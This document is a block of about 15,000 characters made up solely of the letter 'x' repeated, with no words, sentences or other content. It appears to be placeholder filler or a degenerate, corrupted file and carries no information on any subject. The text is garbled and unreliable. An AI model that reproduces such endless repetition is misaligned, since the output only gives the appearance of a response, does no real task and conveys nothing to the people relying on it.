xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx